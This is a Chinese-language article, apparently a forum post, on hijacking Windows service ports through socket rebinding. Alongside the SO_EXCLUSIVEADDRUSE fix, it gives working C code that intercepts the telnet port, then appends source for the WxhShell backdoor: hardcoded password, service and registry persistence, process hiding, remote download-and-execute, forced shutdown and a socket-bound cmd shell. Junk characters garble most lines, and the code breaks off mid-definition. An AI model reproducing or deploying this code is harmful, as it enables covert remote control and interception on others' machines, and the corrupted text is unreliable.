在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6y57m;JW/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d|)ARRW #p]V? saddr.sin_family = AF_INET;
uy~$
:0o IKaW],sr# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=e0MEV#s. ~wOMT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Zsmv{p jeJspch+# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c;!|= h9!4\{V;h 这意味着什么?意味着可以进行如下的攻击:
qnnRS ]6s/y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W]_a_5
HKJ^6|' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
l*huKSX} eVB43]g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
y>#kT \I^"^'CP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
y7+n*|H D:?"Rf{) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
e@S$[,8 Sw$/Z)1K& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Nl/
fvJ`4 +$xw0)| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7i'clB9! )s4:&! #include
cIa`pU,6A #include
tF 7u- #include
_[i.)8$7 #include
dw!Xt@,[g{ DWORD WINAPI ClientThread(LPVOID lpParam);
@ &rf?: int main()
q/Ji}NGm {
QMmZvz\^ WORD wVersionRequested;
s{{8!Q DWORD ret;
'tcve2Tt WSADATA wsaData;
~66v.`K! BOOL val;
A f!`7l- SOCKADDR_IN saddr;
E:+r.r"Y SOCKADDR_IN scaddr;
]YfG`0eK< int err;
M?Q\
Hw SOCKET s;
#$L/pRC SOCKET sc;
-N5h` Ii7 int caddsize;
.*xO/pn HANDLE mt;
0NU3%
4? DWORD tid;
3Zs0W{OxU wVersionRequested = MAKEWORD( 2, 2 );
X+<9-]= err = WSAStartup( wVersionRequested, &wsaData );
9`5.0** if ( err != 0 ) {
E>gLUMG$ printf("error!WSAStartup failed!\n");
A7&/3C6{H return -1;
%cDDu$9; }
W$&*i1<a+ saddr.sin_family = AF_INET;
Ag*?>I L; A#N9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^,?>6O ="f-I9y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Io>U-Zd\> saddr.sin_port = htons(23);
I9rQX9#B
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O8N1gf;t {
+ZGH printf("error!socket failed!\n");
k6GQH@y! return -1;
`[XH=-p }
0;,Y_61
val = TRUE;
1vCp<D9< //SO_REUSEADDR选项就是可以实现端口重绑定的
0(9gTxdB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w@O)b-b|w {
;`kOFg#`)c printf("error!setsockopt failed!\n");
3RxR'M1 return -1;
fCnwDT }
zV;NRf)
9. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p]?eIovi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zf5%|7o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hkV*UH{ W<[7LdAB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o8IqO' {
5p:2gsk ret=GetLastError();
RdL5VAD printf("error!bind failed!\n");
(^sb('" return -1;
~k?t }
;05lwP*r] listen(s,2);
g2*}XS3 while(1)
$P#+Y,r~\ {
s|Vs#o.P) caddsize = sizeof(scaddr);
.i*ja* //接受连接请求
Z=%u:K}[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'%:E4oI if(sc!=INVALID_SOCKET)
xG Y!r"[ {
f,LeJTX= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
bNtOqhi if(mt==NULL)
PJe\PGh {
6W7,EIf printf("Thread Creat Failed!\n");
J
p%J02 break;
;j(*:Nt1 }
l^o>7 cM }
R`@7f$;wG CloseHandle(mt);
i=M[$ }
mz;ExV16 closesocket(s);
~7Nqwwx WSACleanup();
#q9BU: return 0;
E%stFyr9`/ }
sk0/3X*Q% DWORD WINAPI ClientThread(LPVOID lpParam)
vp d!|/ {
3+:NX6Ewb* SOCKET ss = (SOCKET)lpParam;
~)X;z"y%b SOCKET sc;
|8x_Av0 unsigned char buf[4096];
-XkjO$=!= SOCKADDR_IN saddr;
FT}^Fi7 long num;
%$Q!'+YW DWORD val;
0TICv2l! DWORD ret;
VeQ [A?pER //如果是隐藏端口应用的话,可以在此处加一些判断
1hV&/Qr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
98_os2` saddr.sin_family = AF_INET;
h\Zh^B6J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
NA/Sv"7om saddr.sin_port = htons(23);
3=UufI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^r]-v++ {
4K4u]"1 printf("error!socket failed!\n");
,5K&f\ return -1;
9jl\H6JY| }
|c-`XC2g val = 100;
gB,Q4acjj if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4xFAFK~lx {
a"1LF` ret = GetLastError();
miCY?=N` return -1;
F0r5$Pl* }
@e7_&EGR? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TLVfu4 {
xcJvXp
ret = GetLastError();
[ei5QSL | return -1;
I9U
8@e!X }
q zo)\, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`<Hc,D; p {
x0TE+rf5 printf("error!socket connect failed!\n");
Gt !Hm( closesocket(sc);
a{?>F&vnU closesocket(ss);
o+R(ux" return -1;
ypfjF@OT }
W>P :EI1 while(1)
3z8zZ1uzU {
l|9'l[}& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+,D82V7S //如果是嗅探内容的话,可以再此处进行内容分析和记录
WCp[6g&%O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>S?7-2X num = recv(ss,buf,4096,0);
kaDn=
={YM if(num>0)
jd
8g0^ send(sc,buf,num,0);
&N%-.&t' else if(num==0)
eMH\]A~v" break;
*\Hut'7 d num = recv(sc,buf,4096,0);
)%!X, if(num>0)
y G>sBc send(ss,buf,num,0);
R/^;,. else if(num==0)
o9v9
bL+X break;
>g [Wnzf }
ZQ[s: closesocket(ss);
xrJ0 closesocket(sc);
Ac[;S!R return 0 ;
x_H"<-By }
1fF\k#BE-% ;{n*F=%uC rmI@ #' ==========================================================
0XL[4[LdA q93V'[)F 下边附上一个代码,,WXhSHELL
i{J[;rV9 $,T3vX]< ==========================================================
.3
^*_ i\MW'b #include "stdafx.h"
m :]F&s er !+QD,EM #include <stdio.h>
7G_lGV_ #include <string.h>
`R$bx 64 #include <windows.h>
{Z[kvXf"mZ #include <winsock2.h>
\l 3M\$oS> #include <winsvc.h>
`k08M) #include <urlmon.h>
RWn#"~ MpJx>0j/J #pragma comment (lib, "Ws2_32.lib")
r1$x}I#Zv #pragma comment (lib, "urlmon.lib")
B_.>Q8tK; "n<u(m8E #define MAX_USER 100 // 最大客户端连接数
+,9Muf h #define BUF_SOCK 200 // sock buffer
+OUM 4y #define KEY_BUFF 255 // 输入 buffer
ZJ_P= Zt4 r_7 #define REBOOT 0 // 重启
z&[[4[ #define SHUTDOWN 1 // 关机
#8bI4J{dE I]ol[
X0S #define DEF_PORT 5000 // 监听端口
Z?w=- UX'tdB
!A #define REG_LEN 16 // 注册表键长度
89A04HX #define SVC_LEN 80 // NT服务名长度
Szlww ] m^ECA$ // 从dll定义API
.MRLAG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
iWn7vv/t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
It^_?oiK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F=kiYa} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;nf}O87~ tLx8}@X" // wxhshell配置信息
h6(L22Hn struct WSCFG {
v8A{q int ws_port; // 监听端口
QOF'SEq"k char ws_passstr[REG_LEN]; // 口令
E__A1j*gd int ws_autoins; // 安装标记, 1=yes 0=no
N{zou?+ char ws_regname[REG_LEN]; // 注册表键名
E`uK7 2j char ws_svcname[REG_LEN]; // 服务名
/s`xPxvt char ws_svcdisp[SVC_LEN]; // 服务显示名
*K w/ilI char ws_svcdesc[SVC_LEN]; // 服务描述信息
hzX&BI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B&H
[z int ws_downexe; // 下载执行标记, 1=yes 0=no
m^,3jssdA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
wijY]$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1)
G6 e9?y0vT// };
rHgrCMW T}A{Xu*:+H // default Wxhshell configuration
o/\z4Ri)$ struct WSCFG wscfg={DEF_PORT,
Ga^k1TQq "xuhuanlingzhe",
,Onu% 1,
{pB9T3ry] "Wxhshell",
v#+tu,)V; "Wxhshell",
GP}+c8|2 "WxhShell Service",
*|:]("i "Wrsky Windows CmdShell Service",
v_@!u` "Please Input Your Password: ",
{{_,YO^w 1,
4:v{\R "
http://www.wrsky.com/wxhshell.exe",
h'G8@j; "Wxhshell.exe"
~w RozV };
&]/.=J <3Hu(Jx<O // 消息定义模块
OKzk\F6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=t-503e.J char *msg_ws_prompt="\n\r? for help\n\r#>";
::kpAE] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JTB5#S4W char *msg_ws_ext="\n\rExit.";
BLhuYuON char *msg_ws_end="\n\rQuit.";
]dIr;x` char *msg_ws_boot="\n\rReboot...";
:J+GodW char *msg_ws_poff="\n\rShutdown...";
y<5xlN(+v char *msg_ws_down="\n\rSave to ";
uM~j #/`V.jXt> char *msg_ws_err="\n\rErr!";
M3
$MgsN: char *msg_ws_ok="\n\rOK!";
LHP?!rO0 h9J char ExeFile[MAX_PATH];
S b3@7^ int nUser = 0;
ktKT=(F& HANDLE handles[MAX_USER];
hC= ="4 - int OsIsNt;
qT L@N9 GQ9g $&T SERVICE_STATUS serviceStatus;
D<cHa | SERVICE_STATUS_HANDLE hServiceStatusHandle;
V]9?9-r b}r3x&) // 函数声明
~UJ_Rr54 int Install(void);
o,RLaS,BK' int Uninstall(void);
lq!l{[Xp int DownloadFile(char *sURL, SOCKET wsh);
ffYiu4$m int Boot(int flag);
Au/n|15->C void HideProc(void);
/1lUFL2D int GetOsVer(void);
CR$5'#11) int Wxhshell(SOCKET wsl);
=>6'{32W_ void TalkWithClient(void *cs);
FeFH_ int CmdShell(SOCKET sock);
#VEHyz 6P int StartFromService(void);
z<mU$< int StartWxhshell(LPSTR lpCmdLine);
[(N<E/m %B Wc$1Re{z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Ie?C<(8Ul VOID WINAPI NTServiceHandler( DWORD fdwControl );
Z`b{r;`m8 ^T|~L<A3 // 数据结构和表定义
<tg>1,C SERVICE_TABLE_ENTRY DispatchTable[] =
%/&?t`%H {
f/qG:yTV` {wscfg.ws_svcname, NTServiceMain},
Sf\mg4, {NULL, NULL}
rB:W\5~7 };
b
fsTe W+ *^u5?{$l( // 自我安装
Kq;Yb& int Install(void)
|ldRs'c{ {
6(}8[i: char svExeFile[MAX_PATH];
,#r>#fi0 HKEY key;
""ICdZ_A strcpy(svExeFile,ExeFile);
r#pC0Yj!3 _`zj^*% // 如果是win9x系统,修改注册表设为自启动
7>J8\= if(!OsIsNt) {
&a
p{|>3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u1&pJLK0[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^1S(6'a# RegCloseKey(key);
P-QZ=dm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]W%<<S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?c^0%Op RegCloseKey(key);
eg-,;X# return 0;
jC<!Ny-$ }
``}EbOMG }
8:,l+[\ }
X] &Q^ else {
m>'sM1s fgP_NYfOj // 如果是NT以上系统,安装为系统服务
<gKT 7ONtg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b^\u
P if (schSCManager!=0)
Hs8c%C {
><[($Gq`g SC_HANDLE schService = CreateService
,P<n\(DQ (
Kuy,qZv!" schSCManager,
^60BQ{ne wscfg.ws_svcname,
iFW)}_. wscfg.ws_svcdisp,
VZ;ASA?; SERVICE_ALL_ACCESS,
-[4Xg!apO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R1FBH:Iu SERVICE_AUTO_START,
(&FSoe/![' SERVICE_ERROR_NORMAL,
Cv|ya$}a svExeFile,
Q%(LMq4UG NULL,
W^q;=D6uh NULL,
n8[
sl]L NULL,
+I7n6s\ NULL,
,.uPlnB_ NULL
CC>]Gc7 );
M
yr [ if (schService!=0)
5dS5, {
: \w\K: CloseServiceHandle(schService);
Qd 1Q~PBla CloseServiceHandle(schSCManager);
]dc^@}1bN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c?CjJ}-7 strcat(svExeFile,wscfg.ws_svcname);
Uax- z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}Z-]m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s3W )hU) RegCloseKey(key);
&<-Sxjj return 0;
%J?;@ G)r }
|?SK.1pW }
:~pPB#)nk CloseServiceHandle(schSCManager);
m0W5O gk }
1+PLj[;jJ: }
SqTO~zGC 37Z:WJ?
return 1;
w3c[t~R8 }
DJ;G0* INsc!xOQ // 自我卸载
e;56}w int Uninstall(void)
h84}lxT^] {
^PfFW HKEY key;
` a5$VV%J !L+*.k: if(!OsIsNt) {
|Z<NM#1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`(?E-~#' RegDeleteValue(key,wscfg.ws_regname);
!12W(4S5 RegCloseKey(key);
H~1*`m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-#H>kbs RegDeleteValue(key,wscfg.ws_regname);
Bhl@\Kq RegCloseKey(key);
Ft>Abj,6 return 0;
IDb|J%e^P }
,YJ\
$? }
&+=A;Y) }
EUU9JnQhBJ else {
C+$dm)M/q PBb@J'b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>n)N=Zyu if (schSCManager!=0)
V4}9f5FR {
HjV3PFg
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-4o6 OkK< if (schService!=0)
.OVIQxf {
qCn(~: if(DeleteService(schService)!=0) {
I3D8xl>P\ CloseServiceHandle(schService);
Sb+pB58&N CloseServiceHandle(schSCManager);
l)fF)\ |;= return 0;
Qi#%&Jz>f }
Z16G CloseServiceHandle(schService);
R 28v5 }
IM}T2\tZ} CloseServiceHandle(schSCManager);
{=j!2v#8~ }
a0Cf.[L }
b40zYH`'{ UwrinkoeE return 1;
i=@.u=: }
B5aFt ;Vj d>eVR // 从指定url下载文件
1Dg\\aUk int DownloadFile(char *sURL, SOCKET wsh)
@;M( oFS9 {
P*XLm HRESULT hr;
$%"i|KTsv: char seps[]= "/";
@dV'v{:, char *token;
v{^_3
] char *file;
\zw0*;&U char myURL[MAX_PATH];
{3]g3mj char myFILE[MAX_PATH];
7OYNH0EH :O)\v!Z strcpy(myURL,sURL);
aR ao\Wp| token=strtok(myURL,seps);
p#)u2^ while(token!=NULL)
P
Ig)h-w? {
_ro^<V$% file=token;
k:Sxs+)?1 token=strtok(NULL,seps);
(m4`l_ }
2Otd YA O,
rh GetCurrentDirectory(MAX_PATH,myFILE);
Wo2TU! strcat(myFILE, "\\");
I.A7H'j strcat(myFILE, file);
,5HQHo@ send(wsh,myFILE,strlen(myFILE),0);
B1oi]hDy send(wsh,"...",3,0);
e3UGYwQ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q
[Rqy !, if(hr==S_OK)
bv$_t)Xh return 0;
DcE)6z# else
fDhV
*LqW return 1;
U0q{8 "Pl q3adhY9|)0 }
?Ko)AP j<>E
Fd // 系统电源模块
#ok1qT9_ int Boot(int flag)
A&rk5y; {
jt?4raNW HANDLE hToken;
Z;=G5O
uvQ TOKEN_PRIVILEGES tkp;
>
$DMVtE0 w d2GKq! if(OsIsNt) {
mufi>} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/Pv
d[oF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n]?Yv E tkp.PrivilegeCount = 1;
Vrzx;V% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
eTemRNz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
n~l9`4wJY if(flag==REBOOT) {
9&fS<Hk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
A(2_hl- return 0;
"i_I<?aGB }
~+}w>jIm{| else {
S#6{4x4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Fxdu)F,~u return 0;
qk;*$Q }
u+UtvzUC }
b}< T< else {
x.CUJ^_. if(flag==REBOOT) {
|1wfLJ4--l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
je@F:5 return 0;
B :#5U85m }
2K4Jkyi else {
b<>GF-`w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
: kz*.1 return 0;
kIhP 73M }
GOuBNaU{ }
U>?q|(u }kzGuNj return 1;
9W88_rE'e} }
".A+'pJ yoiKt;
S // win9x进程隐藏模块
'NHtCs=F void HideProc(void)
nXPl\|pXt {
IV*@}~BJ nf=*KS\v HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a3D''Ra if ( hKernel != NULL )
!D6 {
/RU'~( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
qpzzk9ba[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
GSo&$T;B6 FreeLibrary(hKernel);
l]t9*a]a }
jN
9|q "&;8U. return;
&<hDl<E }
,(&jG^IpVJ
uyBmGS2 // 获取操作系统版本
IlQNo 1 int GetOsVer(void)
/{@^h#4M1 {
</!
`m8 \ OSVERSIONINFO winfo;
^f*}]`S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
afrU>#+" GetVersionEx(&winfo);
Bu|Uz0Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eD5:0;X2 return 1;
,p2BB"^_i else
#yz5CWu return 0;
W <.h@Rz+ }
bW03m_<M<1 ,{DZvif
// 客户端句柄模块
XJJdCv^ int Wxhshell(SOCKET wsl)
ms9zp?M {
!_EL{ /ko SOCKET wsh;
-7jP'l=h struct sockaddr_in client;
J|4q9$ DWORD myID;
xS.Rpx/8 '](4g/% while(nUser<MAX_USER)
HQPb {
fXfBDB int nSize=sizeof(client);
4C AV) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4Uz1~AuNxb if(wsh==INVALID_SOCKET) return 1;
h1O^~"x )Dn~e#
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V)x(\ls]SX if(handles[nUser]==0)
qkQ_# closesocket(wsh);
+LBDn"5 else
,K4*0!TXP nUser++;
`"~s<+ }
)D_ZZPq_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1$S;#9PQ WOqAVd\ return 0;
~{69&T}9 }
Arvxl(R\4 5WhR| // 关闭 socket
rb8c^u#r void CloseIt(SOCKET wsh)
]MI>"hn {
0u0<)gdX closesocket(wsh);
ifA=qn0=} nUser--;
X3nt*G1dL ExitThread(0);
Bfh[C]yy }
b-Fv
vA tF:'Y ~3 p // 客户端请求句柄
J6m`XC void TalkWithClient(void *cs)
p1}Y|m! {
'p0|wM_ Y)D~@|D, SOCKET wsh=(SOCKET)cs;
6AS'MD%& char pwd[SVC_LEN];
?l\1n,!:8 char cmd[KEY_BUFF];
9iMQq40 char chr[1];
?Q$LIoR int i,j;
/48W]a}JS 2 uuI_9 "^ while (nUser < MAX_USER) {
>y
P`8Oq[ 2kv%k3Q{ if(wscfg.ws_passstr) {
.-kqt^Gc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kk`BwRh)d; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
, $;g'z!N //ZeroMemory(pwd,KEY_BUFF);
m]g"]U: i=0;
oECM1'=Bf while(i<SVC_LEN) {
aFkxR\x
6% !sF! (u7 // 设置超时
<9za!.(zu fd_set FdRead;
OBF3)L] struct timeval TimeOut;
}h+_kRQ FD_ZERO(&FdRead);
TWv${m zE FD_SET(wsh,&FdRead);
g 4n&k TimeOut.tv_sec=8;
F[aow$",+} TimeOut.tv_usec=0;
i&cH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@(:ah if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_ F0qqj
Dq T)%a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R'E8>ee;^ pwd
=chr[0]; qF9rY)ifm
if(chr[0]==0xd || chr[0]==0xa) { 7Pt*V@DHS
pwd=0; $D,m o2I
break; doR'E=Z4h
} +{%@kX<V_
i++; +n1jP<[<N
} ^iaeY
jI
vBUl6EmWu
// 如果是非法用户,关闭 socket ,+p&ZpH
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bx(+uNQ
} )p.+39]{2
>M` swEj
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eYL7G-3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X^3 0a*sj
YK#
QH"}
while(1) { #=WDJT:
pv;c<NQ'1
ZeroMemory(cmd,KEY_BUFF); 7f4R5c
S}"?#=Q.%O
// 自动支持客户端 telnet标准 cz_4cMgxu
j=0; lYd#pNN
while(j<KEY_BUFF) { kndP?#>
p1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nG#lrYZw
cmd[j]=chr[0]; T[$Sbz`
if(chr[0]==0xa || chr[0]==0xd) { `1%SXP1
cmd[j]=0; v}6YbY Tq
break; Df_W>QC
} &`7~vA&c
j++; ':,6s
} )k&pp^q\
ujcS>XN,1
// 下载文件 `92 D]^g
if(strstr(cmd,"http://")) { ArkFC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c%.f|/.k
if(DownloadFile(cmd,wsh)) -_jV.`t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); inBd.%Yr
else H*QN/{|RU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~qNpPIrGr
} R|Ft@]
else { =#XsY,r
A!v-[AI[
switch(cmd[0]) { TJtW?c7
@S~'m;
// 帮助 }iy`Ko+B"b
case '?': { $ql-"BB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ED1".f
break; :,F^{
} }nE#0n
// 安装 )Jx!VJ^Y
case 'i': { @ ADY?
if(Install()) u)P$xkf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DKrX
else |Y<ca
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^F*)Jq
break; F~d
!Ub$>
} sF;1)7]Pq
// 卸载 +N[dYm
case 'r': { bcpH|}[F)
if(Uninstall()) Fga9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @{_PO{=\C
else yZ:|wxVY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cFLu+4.jsG
break; Cu({%Gy+
} ^JtGT
// 显示 wxhshell 所在路径 >Z^7=5K"O
case 'p': { whNRUOK:
char svExeFile[MAX_PATH]; ZP)=2'RY
strcpy(svExeFile,"\n\r"); dh/:H/k kR
strcat(svExeFile,ExeFile); (Cp:NS
send(wsh,svExeFile,strlen(svExeFile),0); M
O5fu!
break; }jd[>zk
} eEsEW<su
// 重启 9szE^kHS9
case 'b': { )I+1 b
!U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nGW
wXySq
if(Boot(REBOOT)) if5Y!Tx?G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5*buRYck0
else { oW]&]*>J
closesocket(wsh); [v-?MS
ExitThread(0); 6@2p@eYo
} af{;4Cr
break; !W$3p'8Tu
} K=sQ_j.&Z
// 关机 9r1pdG_C@
case 'd': { ?vRz}hiy
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z-4A`@p
if(Boot(SHUTDOWN)) j~DoMP5Ls
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pq5)Ug
else { w]yLdfi!
closesocket(wsh); !xo@i XL
ExitThread(0); \)BKuIP
} aic6,>\!'
break; {>FA ~}cX.
} &P3B
// 获取shell 0'97af
case 's': { =< CH( 4!
CmdShell(wsh); d;#9xD'
closesocket(wsh); .M>u:,v
ExitThread(0); RAE|eTnna
break; Q X@&~
} ciC4V^f
// 退出 qC\$>QU}
case 'x': { SO p%{b
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Mc:Cg8>
CloseIt(wsh); *7*g!
km
break; \f66ipZK*
} ip5s'S~
// 离开 /LSiDys
case 'q': { 66L*6O4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); SgXXitg9+
closesocket(wsh); r.ajw&J2
WSACleanup(); %aw/Y5
exit(1); UjKHGsDi4
break; D'nV
&m
} &I(|aZx?J
} uaDU+ywL
} 6l_8Q w*5I
l3g6y9;
// 提示信息 30H:x@='9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %\b5)p
} +}+hTY$a
} WZO#(eO`
r LfS9H
return; Fah}#,
} "\_}"0H
M.OWw#?p:_
// shell模块句柄 5h{Hf]A
int CmdShell(SOCKET sock) LnJ7i"Q
{ It_yh
#s
STARTUPINFO si; t*}<v@,
ZeroMemory(&si,sizeof(si)); 8=nm`7(]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }p- %~Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JAiV7v4&R
PROCESS_INFORMATION ProcessInfo; :m$%D]WY
char cmdline[]="cmd"; ^d=Z/d[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {Zseu$c
return 0; _^'k_a
} ;%k%AXw
t#pY2!/T3
// 自身启动模式 Gc 8
int StartFromService(void) zIAMM
{ 15eHdd d
typedef struct l%w7N9
{ z:fhq:R(
DWORD ExitStatus; @pS[_!EqYz
